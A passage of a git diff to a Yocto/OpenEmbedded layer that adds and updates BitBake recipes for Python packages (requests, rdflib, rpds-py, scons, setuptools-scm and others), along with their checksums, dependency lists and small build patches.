+ file://run-ptest \
+"
+SRC_URI[test.sha256sum] = "b6a8a2825d89fdc8aee226560f66b8196e872012a0ea7118cbef1a832359434a"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${WORKDIR}/test_dump_load.py ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rdflib_7.0.0.bb b/meta/recipes-devtools/python/python3-rdflib_7.0.0.bb
new file mode 100644
index 0000000000..4057c1dbbc
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rdflib_7.0.0.bb
@@ -0,0 +1,21 @@
+SUMMARY = "RDFLib is a pure Python package for working with RDF"
+HOMEPAGE = "https://github.com/RDFLib/rdflib"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=37d489c0cefe52a17e1d5007e196464a"
+
+SRC_URI[sha256sum] = "9995eb8569428059b8c1affd26b25eac510d64f5043d9ce8c84e0d0036e995ae"
+
+inherit pypi python_poetry_core
+
+RDEPENDS:${PN} += " \
+ python3-isodate \
+ python3-pyparsing \
+ python3-logging \
+ python3-numbers \
+ python3-xml \
+ python3-compression \
+ python3-core \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-referencing_0.34.0.bb b/meta/recipes-devtools/python/python3-referencing_0.34.0.bb
new file mode 100644
index 0000000000..6fbd10d9cf
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-referencing_0.34.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "An implementation-agnostic implementation of JSON reference resolution."
+HOMEPAGE = "https://github.com/python-jsonschema/referencing"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=93eb9740964b59e9ba30281255b044e2"
+
+SRC_URI[sha256sum] = "5773bd84ef41799a5a8ca72dc34590c041eb01bf9aa02632b4a973fb0181a844"
+
+inherit pypi python_hatchling
+
+DEPENDS += "python3-hatch-vcs-native"
+
+RDEPENDS:${PN} += "python3-rpds-py"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-requests_2.31.0.bb b/meta/recipes-devtools/python/python3-requests_2.31.0.bb
new file mode 100644
index 0000000000..df48cd54c3
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-requests_2.31.0.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Python HTTP for Humans."
+HOMEPAGE = "http://python-requests.org"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=34400b68072d710fecd0a2940a0d1658"
+
+SRC_URI[sha256sum] = "942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += " \
+ python3-email \
+ python3-json \
+ python3-ndg-httpsclient \
+ python3-netserver \
+ python3-pyasn1 \
+ python3-pyopenssl \
+ python3-pysocks \
+ python3-urllib3 \
+ python3-chardet \
+ python3-idna \
+ python3-compression \
+"
+
+CVE_PRODUCT = "requests"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb b/meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb
new file mode 100644
index 0000000000..e809c2280d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb
@@ -0,0 +1,21 @@
+SUMMARY = "A pure python RFC3339 validator"
+HOMEPAGE = "https://github.com/naimetti/rfc3339-validator"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a21b13b5a996f08f7e0b088aa38ce9c6"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/python-rfc3339-validator:"
+
+SRC_URI[sha256sum] = "138a2abdf93304ad60530167e51d2dfb9549521a836871b88d7f4695d0022f6b"
+
+PYPI_PACKAGE = "rfc3339_validator"
+UPSTREAM_CHECK_REGEX = "/rfc3339-validator/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "\
+ python3-core \
+ python3-datetime \
+ python3-six \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb b/meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb
new file mode 100644
index 0000000000..e374979cb4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Pure python rfc3986 validator"
+HOMEPAGE = "https://github.com/naimetti/rfc3986-validator"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a21b13b5a996f08f7e0b088aa38ce9c6"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/python-rfc3986-validator:"
+
+SRC_URI[md5sum] = "47f7657b790aaf6011a1ab3d86c6be95"
+SRC_URI[sha256sum] = "3d44bde7921b3b9ec3ae4e3adca370438eccebc676456449b145d533b240d055"
+
+PYPI_PACKAGE = "rfc3986_validator"
+UPSTREAM_CHECK_REGEX = "/rfc3986-validator/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit pypi setuptools3
+
+SRC_URI += "\
+ file://0001-setup.py-move-pytest-runner-to-test_requirements.patch \
+"
+
+RDEPENDS:${PN} += "\
+ python3-core \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb b/meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb
new file mode 100644
index 0000000000..316dc544de
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb
@@ -0,0 +1,11 @@
+SUMMARY = "Parsing and validation of URIs (RFC 3986) and IRIs (RFC 3987)"
+HOMEPAGE = "https://pypi.org/project/rfc3987/"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=9;md5=2b723edf67b2f3088bc5e339b1ceda2d"
+
+SRC_URI[md5sum] = "b6c4028acdc788a9ba697e1c1d6b896c"
+SRC_URI[sha256sum] = "d3c4d257a560d544e9826b38bc81db676890c79ab9d7ac92b39c7a253d5ca733"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rpds-py-crates.inc b/meta/recipes-devtools/python/python3-rpds-py-crates.inc
new file mode 100644
index 0000000000..b9048bde51
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rpds-py-crates.inc
@@ -0,0 +1,80 @@
+# Autogenerated with 'bitbake -c update_crates python3-rpds-py'
+
+# from Cargo.lock
+SRC_URI += " \
+ crate://crates.io/archery/1.1.0 \
+ crate://crates.io/autocfg/1.1.0 \
+ crate://crates.io/bitflags/1.3.2 \
+ crate://crates.io/cfg-if/1.0.0 \
+ crate://crates.io/heck/0.4.1 \
+ crate://crates.io/indoc/2.0.4 \
+ crate://crates.io/libc/0.2.147 \
+ crate://crates.io/lock_api/0.4.10 \
+ crate://crates.io/memoffset/0.9.0 \
+ crate://crates.io/once_cell/1.18.0 \
+ crate://crates.io/parking_lot/0.12.1 \
+ crate://crates.io/parking_lot_core/0.9.8 \
+ crate://crates.io/proc-macro2/1.0.66 \
+ crate://crates.io/pyo3/0.20.2 \
+ crate://crates.io/pyo3-build-config/0.20.2 \
+ crate://crates.io/pyo3-ffi/0.20.2 \
+ crate://crates.io/pyo3-macros/0.20.2 \
+ crate://crates.io/pyo3-macros-backend/0.20.2 \
+ crate://crates.io/quote/1.0.31 \
+ crate://crates.io/redox_syscall/0.3.5 \
+ crate://crates.io/rpds/1.1.0 \
+ crate://crates.io/scopeguard/1.1.0 \
+ crate://crates.io/smallvec/1.11.0 \
+ crate://crates.io/static_assertions/1.1.0 \
+ crate://crates.io/syn/2.0.32 \
+ crate://crates.io/target-lexicon/0.12.9 \
+ crate://crates.io/triomphe/0.1.9 \
+ crate://crates.io/unicode-ident/1.0.11 \
+ crate://crates.io/unindent/0.2.3 \
+ crate://crates.io/windows-targets/0.48.1 \
+ crate://crates.io/windows_aarch64_gnullvm/0.48.0 \
+ crate://crates.io/windows_aarch64_msvc/0.48.0 \
+ crate://crates.io/windows_i686_gnu/0.48.0 \
+ crate://crates.io/windows_i686_msvc/0.48.0 \
+ crate://crates.io/windows_x86_64_gnu/0.48.0 \
+ crate://crates.io/windows_x86_64_gnullvm/0.48.0 \
+ crate://crates.io/windows_x86_64_msvc/0.48.0 \
+"
+
+SRC_URI[archery-1.1.0.sha256sum] = "487955f60962765486ce000015a3492ca45c34a2ebbf12bc0aa2b5110ca6e7d2"
+SRC_URI[autocfg-1.1.0.sha256sum] = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
+SRC_URI[bitflags-1.3.2.sha256sum] = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+SRC_URI[cfg-if-1.0.0.sha256sum] = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+SRC_URI[heck-0.4.1.sha256sum] = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
+SRC_URI[indoc-2.0.4.sha256sum] = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8"
+SRC_URI[libc-0.2.147.sha256sum] = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3"
+SRC_URI[lock_api-0.4.10.sha256sum] = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16"
+SRC_URI[memoffset-0.9.0.sha256sum] = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c"
+SRC_URI[once_cell-1.18.0.sha256sum] = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d"
+SRC_URI[parking_lot-0.12.1.sha256sum] = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
+SRC_URI[parking_lot_core-0.9.8.sha256sum] = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447"
+SRC_URI[proc-macro2-1.0.66.sha256sum] = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9"
+SRC_URI[pyo3-0.20.2.sha256sum] = "9a89dc7a5850d0e983be1ec2a463a171d20990487c3cfcd68b5363f1ee3d6fe0"
+SRC_URI[pyo3-build-config-0.20.2.sha256sum] = "07426f0d8fe5a601f26293f300afd1a7b1ed5e78b2a705870c5f30893c5163be"
+SRC_URI[pyo3-ffi-0.20.2.sha256sum] = "dbb7dec17e17766b46bca4f1a4215a85006b4c2ecde122076c562dd058da6cf1"
+SRC_URI[pyo3-macros-0.20.2.sha256sum] = "05f738b4e40d50b5711957f142878cfa0f28e054aa0ebdfc3fd137a843f74ed3"
+SRC_URI[pyo3-macros-backend-0.20.2.sha256sum] = "0fc910d4851847827daf9d6cdd4a823fbdaab5b8818325c5e97a86da79e8881f"
+SRC_URI[quote-1.0.31.sha256sum] = "5fe8a65d69dd0808184ebb5f836ab526bb259db23c657efa38711b1072ee47f0"
+SRC_URI[redox_syscall-0.3.5.sha256sum] = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29"
+SRC_URI[rpds-1.1.0.sha256sum] = "a0e15515d3ce3313324d842629ea4905c25a13f81953eadb88f85516f59290a4"
+SRC_URI[scopeguard-1.1.0.sha256sum] = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
+SRC_URI[smallvec-1.11.0.sha256sum] = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9"
+SRC_URI[static_assertions-1.1.0.sha256sum] = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
+SRC_URI[syn-2.0.32.sha256sum] = "239814284fd6f1a4ffe4ca893952cdd93c224b6a1571c9a9eadd670295c0c9e2"
+SRC_URI[target-lexicon-0.12.9.sha256sum] = "df8e77cb757a61f51b947ec4a7e3646efd825b73561db1c232a8ccb639e611a0"
+SRC_URI[triomphe-0.1.9.sha256sum] = "0eee8098afad3fb0c54a9007aab6804558410503ad676d4633f9c2559a00ac0f"
+SRC_URI[unicode-ident-1.0.11.sha256sum] = "301abaae475aa91687eb82514b328ab47a211a533026cb25fc3e519b86adfc3c"
+SRC_URI[unindent-0.2.3.sha256sum] = "c7de7d73e1754487cb58364ee906a499937a0dfabd86bcb980fa99ec8c8fa2ce"
+SRC_URI[windows-targets-0.48.1.sha256sum] = "05d4b17490f70499f20b9e791dcf6a299785ce8af4d709018206dc5b4953e95f"
+SRC_URI[windows_aarch64_gnullvm-0.48.0.sha256sum] = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc"
+SRC_URI[windows_aarch64_msvc-0.48.0.sha256sum] = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3"
+SRC_URI[windows_i686_gnu-0.48.0.sha256sum] = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241"
+SRC_URI[windows_i686_msvc-0.48.0.sha256sum] = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00"
+SRC_URI[windows_x86_64_gnu-0.48.0.sha256sum] = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1"
+SRC_URI[windows_x86_64_gnullvm-0.48.0.sha256sum] = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953"
+SRC_URI[windows_x86_64_msvc-0.48.0.sha256sum] = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a"
diff --git a/meta/recipes-devtools/python/python3-rpds-py_0.18.0.bb b/meta/recipes-devtools/python/python3-rpds-py_0.18.0.bb
new file mode 100644
index 0000000000..cece2cb8cc
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rpds-py_0.18.0.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Python bindings to the Rust rpds crate for persistent data structures."
+HOMEPAGE = "https://pypi.org/project/rpds-py/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7767fa537c4596c54141f32882c4a984"
+
+SRC_URI[sha256sum] = "42821446ee7a76f5d9f71f9e33a4fb2ffd724bb3e7f93386150b61a43115788d"
+
+require ${BPN}-crates.inc
+
+inherit pypi cargo-update-recipe-crates python_maturin
+
+PYPI_PACKAGE = "rpds_py"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-ruamel-yaml_0.18.6.bb b/meta/recipes-devtools/python/python3-ruamel-yaml_0.18.6.bb
new file mode 100644
index 0000000000..197bf91d6c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-ruamel-yaml_0.18.6.bb
@@ -0,0 +1,23 @@
+SUMMARY = "YAML parser/emitter that supports roundtrip preservation of comments, seq/map flow style, and map key order."
+HOMEPAGE = "https://pypi.org/project/ruamel.yaml/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=30cbbccd94bf3a2b0285ec35671a1938"
+
+PYPI_PACKAGE = "ruamel.yaml"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "8b27e6a217e786c6fbe5634d8f3f11bc63e0f80f6a5890f28863d9c45aac311b"
+
+RDEPENDS:${PN} += "\
+ python3-shell \
+ python3-datetime \
+ python3-netclient \
+"
+
+do_install:prepend() {
+ export RUAMEL_NO_PIP_INSTALL_CHECK=1
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-scons-native_3.1.2.bb b/meta/recipes-devtools/python/python3-scons-native_3.1.2.bb
deleted file mode 100644
index 9e127304d6..0000000000
--- a/meta/recipes-devtools/python/python3-scons-native_3.1.2.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require python3-scons_${PV}.bb
-inherit native python3native
-DEPENDS = "python3-native python3-setuptools-native"
-
-do_install_append() {
- create_wrapper ${D}${bindir}/scons SCONS_LIB_DIR='${STAGING_DIR_HOST}/${PYTHON_SITEPACKAGES_DIR}' PYTHONNOUSERSITE='1'
-}
diff --git a/meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch b/meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch
new file mode 100644
index 0000000000..6dffe64809
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch
@@ -0,0 +1,29 @@
+From 8b482e618047e94833545dce3a26924ef4f075db Mon Sep 17 00:00:00 2001
+From: Tim Orling <ticotimo@gmail.com>
+Date: Sat, 22 May 2021 11:20:46 -0700
+Subject: [PATCH] Fix man page installation
+
+Fixes:
+ error: can't copy 'build/doc/man/scons.1': doesn't exist or not a regular file
+
+Upstream-Status: Inappropriate [oe specific]
+
+Signed-off-by: Tim Orling <ticotimo@gmail.com>
+
+---
+ MANIFEST.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/MANIFEST.in b/MANIFEST.in
+index 04ec000..937f6f3 100644
+--- a/MANIFEST.in
++++ b/MANIFEST.in
+@@ -4,7 +4,7 @@ recursive-include SCons/Tool/docbook *
+ include LICENSE
+
+ include scons.1 sconsign.1 scons-time.1
+-recursive-include build/doc/man *.1
++#recursive-include build/doc/man *.1
+
+
+
diff --git a/meta/recipes-devtools/python/python3-scons_3.1.2.bb b/meta/recipes-devtools/python/python3-scons_3.1.2.bb
deleted file mode 100644
index ce117a92d4..0000000000
--- a/meta/recipes-devtools/python/python3-scons_3.1.2.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "Software Construction tool (make/autotools replacement)"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://${WORKDIR}/LICENSE-python3-scons-${PV};md5=e14e1b33428df24a40a782ae142785d0"
-
-# pypi package does not have a valid license file
-SRC_URI += "https://raw.githubusercontent.com/SCons/scons/${PV}/LICENSE;downloadfilename=LICENSE-python3-scons-${PV};name=license"
-
-SRC_URI[md5sum] = "f9c4ad06dcf1427be95472eaf380c81a"
-SRC_URI[sha256sum] = "8aaa483c303efeb678e6f7c776c8444a482f8ddc3ad891f8b6cdd35264da9a1f"
-SRC_URI[license.md5sum] = "e14e1b33428df24a40a782ae142785d0"
-SRC_URI[license.sha256sum] = "72ed889165fb28378cadac14552be4a959f1ebab6b148abb5dd2b49712c3c6f6"
-
-S = "${WORKDIR}/scons-${PV}"
-
-UPSTREAM_CHECK_URI = "http://scons.org/pages/download.html"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit pypi setuptools3
-
-do_install_prepend() {
- sed -i -e "1s,#!.*python.*,#!${USRBINPATH}/env python3," ${S}/script/*
-}
-
-RDEPENDS_${PN}_class-target = "\
- python3-core \
- python3-fcntl \
- python3-io \
- python3-json \
- python3-shell \
- python3-pickle \
- python3-pprint \
- "
diff --git a/meta/recipes-devtools/python/python3-scons_4.7.0.bb b/meta/recipes-devtools/python/python3-scons_4.7.0.bb
new file mode 100644
index 0000000000..bba6c799d4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-scons_4.7.0.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Software Construction tool (make/autotools replacement)"
+HOMEPAGE = "https://github.com/SCons/scons"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d903b0b8027f461402bac9b5169b36f7"
+
+SRC_URI += " file://0001-Fix-man-page-installation.patch"
+SRC_URI[sha256sum] = "d8b617f6610a73e46509de70dcf82f76861b79762ff602d546f4e80918ec81f3"
+
+PYPI_PACKAGE = "SCons"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target = "\
+ python3-core \
+ python3-compression \
+ python3-fcntl \
+ python3-importlib-metadata \
+ python3-io \
+ python3-json \
+ python3-shell \
+ python3-pickle \
+ python3-pkg-resources \
+ python3-pprint \
+ "
+
+do_install:append() {
+ install -d ${D}${mandir}/man1
+ mv ${D}${prefix}/scons*.1 ${D}${mandir}/man1/
+}
+
+do_install:append:class-native() {
+ create_wrapper ${D}${bindir}/scons SCONS_LIB_DIR='${STAGING_DIR_HOST}/${PYTHON_SITEPACKAGES_DIR}' PYTHONNOUSERSITE='1'
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-semantic-version_2.10.0.bb b/meta/recipes-devtools/python/python3-semantic-version_2.10.0.bb
new file mode 100644
index 0000000000..27e3f534b8
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-semantic-version_2.10.0.bb
@@ -0,0 +1,18 @@
+SUMMARY = "A library implementing the 'SemVer' scheme."
+DESCRIPTION = "Semantic version comparison for Python (see http://semver.org/)"
+HOMEPAGE = "https://github.com/rbarrois/python-semanticversion"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4fb31e3c1c7eeb8b5e8c07657cdd54e2"
+
+SRC_URI[sha256sum] = "bdabb6d336998cbb378d4b9db3a4b56a1e3235701dc05ea2690d9a997ed5041c"
+
+PYPI_PACKAGE = "semantic_version"
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += " \
+ python3-pkg-resources \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_REGEX = "/semantic-version/(?P<pver>(\d+[\.\-_]*)+)/"
diff --git a/meta/recipes-devtools/python/python3-setuptools-rust_1.9.0.bb b/meta/recipes-devtools/python/python3-setuptools-rust_1.9.0.bb
new file mode 100644
index 0000000000..8eb2513d69
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools-rust_1.9.0.bb
@@ -0,0 +1,35 @@
+SUMMARY = "Setuptools Rust extension plugin"
+DESCRIPTION = "setuptools-rust is a plugin for setuptools to build Rust \
+Python extensions implemented with PyO3 or rust-cpython.\
+\
+Compile and distribute Python extensions written in Rust as easily as if they were written in C."
+HOMEPAGE = "https://github.com/PyO3/setuptools-rust"
+BUGTRACKER = "https://github.com/PyO3/setuptools-rust/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=011cd92e702dd9e6b1a26157b6fd53f5"
+
+SRC_URI = "${PYPI_SRC_URI} \
+ https://files.pythonhosted.org/packages/67/08/e1aa2c582c62ac76e4d60f8e454bd3bba933781a06a88b4e38797445822a/setuptools-rust-${PV}.tar.gz \
+ "
+SRC_URI[sha256sum] = "704df0948f2e4cc60c2596ad6e840ea679f4f43e58ed4ad0c1857807240eab96"
+
+inherit cargo pypi python_setuptools_build_meta
+
+DEPENDS += "python3-setuptools-scm-native python3-wheel-native"
+# remove when https://github.com/PyO3/setuptools-rust/commit/7ced8d2a8f36e1b4fc41b5544636defb7bd44bdf
+# is included
+DEPENDS += "python3-semantic-version-native"
+
+RDEPENDS:${PN} += " \
+ python3-json \
+ python3-semantic-version \
+ python3-setuptools \
+ python3-setuptools-scm \
+ python3-shell \
+ python3-toml \
+ python3-typing-extensions \
+ python3-wheel \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-setuptools-scm_8.0.4.bb b/meta/recipes-devtools/python/python3-setuptools-scm_8.0.4.bb
new file mode 100644
index 0000000000..64b5050c3b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools-scm_8.0.4.bb
@@ -0,0 +1,31 @@
+SUMMARY = "the blessed package to manage your versions by scm tags"
+HOMEPAGE = "https://pypi.org/project/setuptools-scm/"
+DESCRIPTION = "setuptools_scm handles managing your Python package \
+versions in SCM metadata instead of declaring them as the version \
+argument or in a SCM managed file."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=838c366f69b72c5df05c96dff79b35f2"
+
+SRC_URI[sha256sum] = "b5f43ff6800669595193fd09891564ee9d1d7dcb196cab4b2506d53a2e1c95c7"
+
+inherit pypi python_setuptools_build_meta
+
+UPSTREAM_CHECK_REGEX = "scm-(?P<pver>.*)\.tar"
+
+DEPENDS += "python3-tomli-native python3-packaging-native python3-typing-extensions-native"
+
+RDEPENDS:${PN} = "\
+ python3-packaging \
+ python3-pip \
+ python3-pyparsing \
+ python3-setuptools \
+ python3-tomli \
+ python3-typing-extensions \
+"
+
+RDEPENDS:${PN}:append:class-target = " \
+ python3-debugger \
+ python3-json \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig.py-make-it-possible-to-substite.patch b/meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig.py-make-it-possible-to-substite.patch
new file mode 100644
index 0000000000..0f6c9d250d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig.py-make-it-possible-to-substite.patch
@@ -0,0 +1,58 @@
+From d393759315b189a738e4b6a2ce31dc18dbbfae29 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Wed, 11 May 2022 21:41:14 +0200
+Subject: [PATCH] _distutils/sysconfig.py: make it possible to substite the
+ prefix to target sysroot
+
+This is done by probing STAGING_INCDIR/STAGING_LIBDIRenv vars:
+not the most elegant solution, but distutils/sysconfig has been
+tweaked to do this for many, many year, and so it's easiest
+to replicate here as well, the original is
+meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch
+
+I'm not sure exactly why setuptools now needs a copy, and what
+would happen to this module in light of distutils deprecation.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ setuptools/_distutils/sysconfig.py | 12 ++++++++++--
+ 1 file changed, 10 insertions(+), 2 deletions(-)
+
+diff --git a/setuptools/_distutils/sysconfig.py b/setuptools/_distutils/sysconfig.py
+index a40a723..14f35e7 100644
+--- a/setuptools/_distutils/sysconfig.py
++++ b/setuptools/_distutils/sysconfig.py
+@@ -119,6 +119,8 @@ def get_python_inc(plat_specific=0, prefix=None):
+ sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
+ """
+ default_prefix = BASE_EXEC_PREFIX if plat_specific else BASE_PREFIX
++ if os.environ.get('STAGING_INCDIR', ""):
++ default_prefix = os.environ['STAGING_INCDIR'].rstrip('include')
+ resolved_prefix = prefix if prefix is not None else default_prefix
+ try:
+ getter = globals()[f'_get_python_inc_{os.name}']
+@@ -238,7 +240,13 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
+
+ early_prefix = prefix
+
+- if prefix is None:
++ if os.environ.get('STAGING_LIBDIR', ""):
++ lib_basename = os.environ['STAGING_LIBDIR'].split('/')[-1]
++ else:
++ lib_basename = "lib"
++ if prefix is None and os.environ.get('STAGING_LIBDIR', ""):
++ prefix = os.environ['STAGING_LIBDIR'].rstrip(lib_basename)
++ elif prefix is None:
+ if standard_lib:
+ prefix = plat_specific and BASE_EXEC_PREFIX or BASE_PREFIX
+ else:
+@@ -253,7 +261,7 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
+ # Pure Python
+ libdir = "lib"
+ implementation = 'pypy' if IS_PYPY else 'python'
+- libpython = os.path.join(prefix, libdir, implementation + get_python_version())
++ libpython = os.path.join(prefix, lib_basename, implementation + get_python_version())
+ return _posix_lib(standard_lib, libpython, early_prefix, prefix)
+ elif os.name == "nt":
+ if standard_lib:
diff --git a/meta/recipes-devtools/python/python3-setuptools/0001-change-shebang-to-python3.patch b/meta/recipes-devtools/python/python3-setuptools/0001-change-shebang-to-python3.patch
deleted file mode 100644
index 6dcf52771b..0000000000
--- a/meta/recipes-devtools/python/python3-setuptools/0001-change-shebang-to-python3.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From c39d0896930e25c224cc897660fc8511ccae30c8 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Thu, 23 Apr 2020 10:01:12 +0000
-Subject: [PATCH] change shebang to python3
-
-Upstream-Status: Pending
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- pkg_resources/_vendor/appdirs.py | 2 +-
- 1 files changed, 1 insertions(+), 1 deletions(-)
-
-diff --git a/pkg_resources/_vendor/appdirs.py b/pkg_resources/_vendor/appdirs.py
-index ae67001..933e398 100644
---- a/pkg_resources/_vendor/appdirs.py
-+++ b/pkg_resources/_vendor/appdirs.py
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- # Copyright (c) 2005-2010 ActiveState Software Inc.
- # Copyright (c) 2013 Eddy Petrișor
---
-2.24.1
-
diff --git a/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch b/meta/recipes-devtools/python/python3-setuptools/0001-conditionally-do-not-fetch-code-by-easy_install.patch
index 86c9363d65..e227c2889c 100644
--- a/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch
+++ b/meta/recipes-devtools/python/python3-setuptools/0001-conditionally-do-not-fetch-code-by-easy_install.patch
@@ -1,4 +1,4 @@
-From 768e1f2f14c9f1b3f9bd0e017c3f6183b45616e8 Mon Sep 17 00:00:00 2001
